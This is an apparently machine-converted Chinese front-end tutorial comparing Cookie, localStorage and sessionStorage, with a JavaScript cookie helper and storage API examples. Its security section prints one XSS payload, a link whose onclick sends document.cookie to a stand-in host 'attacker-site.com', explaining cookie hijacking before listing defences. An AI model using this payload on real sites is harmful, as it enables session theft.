細說Cookie，LocalStorage，SessionStorage

面試題目中常常被問到Cookie和LocalStorage的區別，可見其在項目開發中的重要性，這篇文章旨在詳細闡述這部份內容。

概念

---

1.Cookie
Cookie分爲內存cookie和硬盤cookie。內存 cookie由瀏覽器維護，瀏覽器關閉後消失；硬盤cookie存在硬盤裏，有過時時間，除非手動清理或到過時時間，不然不會消失。
Cookie是一個瀏覽器狀態管理文件，因爲http協議是不保存狀態的，須要在http請求中攜帶cookie發送到服務器，服務器根據cookie判斷用戶。
Cookie原理

Cookie只能綁定單一域名，不能夠跨域使用。
Cookie屬性：
name：Cookie名稱，設置相同名稱的值會被覆蓋掉
value：Cookie值，考慮服務器兼容性，必須URL編碼
domain：Cookie綁定域名，沒設置的話自動綁定執行語句當前域，統一域名下的二級域名不可交換使用Cookie
path：匹配路由
Expires/Max-Age：有效期；expires是具體日期，Max-age是以秒爲單位，設置爲0時，關閉瀏覽器cookie清除
secure：設置該屬性後，僅經過安全通道（https）傳輸時，http請求才會包含cookie，但secure僅保護cookie的機密性，不能保護完整性，也不能對客戶端Cookie進行加密。
httpOnly： 設爲true時，不能腳本獲取Cookie，能有效避免跨域本 (XSS) 攻擊
Cookie操做：
獲取Cookie：document.cookie
修改Cookie：document.cookie = 「cookie_name=cookie_value」
Cookie安全：
XSS攻擊：XSS(Cross Site Scripting)是跨站點腳本攻擊的縮寫. 其就是利用站點開放的文本編輯併發布的功能, 從而形成攻擊.其實說的簡單一點, 就是輸入javascript腳本, 竊取並投遞cookie信息到本身的站點.
好比攻擊者以一個普通用戶登陸進來，而後在輸入框中提交如下數據：

<a href=# onclick=\」document.location=\’http://attacker-site.com/xss_collect?m=\’+escape\(document.cookie\)\;\」>text </a>

攻擊者提交a標籤後，該數據保存在服務器端，當管理員登錄後點擊到這個a標籤後會獲取當前cookie到上面a標籤設定的網址，叫作XSS攻擊，也叫Cookie劫持。
如何防護：1添加HttpOnly 屬性；2在cookie中添加校驗信息，好比IP，UA等判斷是否真正用戶；3cookie中的session id定時更換
cookie接口封裝：

var cookieUtil = {
    // 設置cookie
    setItem: function(name, value, days) {
        var date=new Date();
        date.setDate(date.getDate()+days);
        document.cookie=name+'='+value+';expires='+date;
    },

    // 獲取cookie
    getItem: function(name) {
         var arr=document.cookie.replace(/\s/g, "").split(';');
         for(var i=0;i<arr.length;i++) {
             var tempArr=arr[i].split('=');
             if(tempArr[0]==name) {
                return decodeURIComponent(tempArr[1]);
             }
         }
         return '';
    },

    // 刪除cookie
    removeItem: function(name) {
        this.setItem(name,'1', -1);
    },

    // 檢查是否含有某cookie
    hasItem: function(name) {
        return (new RegExp("(?:^|;\\s*)" + encodeURIComponent(name).replace(/[\-\.\+\*]/g, "\\$&") + "\\s*\\=")).test(document.cookie);
    },

    // 獲取所有的cookie列表
    getAllItems: function() {
        var cookieArr = document.cookie.replace(/((?:^|\s*;)[^\=]+)(?=;|$)|^\s*|\s*(?:\=[^;]*)?(?:\1|$)/g, "").split(/\s*(?:\=[^;]*)?;\s*/);
        for (var nIdx = 0; nIdx < cookieArr.length; nIdx++) { cookieArr[nIdx] = decodeURIComponent(cookieArr[nIdx]); }
        return cookieArr;
    }
};

2.localStorage，sessionStorage
HTML5新增的客戶端存儲API，都遵循瀏覽器的同源策略。
LocalStorage:沒有時間限制的數據存儲
sessionStorage:針對一個session的數據存儲
操做：
setItem(key, value) 以鍵值對的形式存儲，

localStorage.setItem(‘key’, value)

getItem(key) 經過key獲取value值

var value = sessionStorage.getItem(「key」)

removeItem(key)經過key刪除對應value

localStorage.removeItem(「key」)

clear() 清空存儲內容

localStorage.clear()

key/length等用法：

var storage = window.localStorage;
storage.key1 = ‘Hello’;
storage[key2] = ‘world’;
console.log(storage.key1+’’+storage.key2) // Hello world

var storage = window.localStorage;
console.log(storage.length) // 返回已存儲簡直對的個數

三者的異同

---

數據生命週期
Cookie:通常由服務器生成，可設置失效時間。若是在瀏覽器端生cookie，默認關閉瀏覽器後失效
localStorage:除非被清除，不然永久保存
sessionStorage:僅在當前會話下有效，關閉頁面或瀏覽器被清除
存放數據大小
Cookie:4K左右
localStorage/sessionStorage:5MB左右
與服務器端通訊
Cookie:每次都會攜帶在HTTP頭中，若是cookie保存過多，會帶來性能問題
localStorage/sessionStorage:僅在客戶端內存中保存，不參與和服務器端通訊
易用性
Cookie:須要本身封裝，源生Cookie接口不友好
localStorage/sessionStorage:源生接口可接受，使用方便

參考資料
維基百科-Cookie
把cookie聊清楚
Secure Cookie
Http cookies
Window.localStorage
詳說Cookie、localStorage、sessionStorage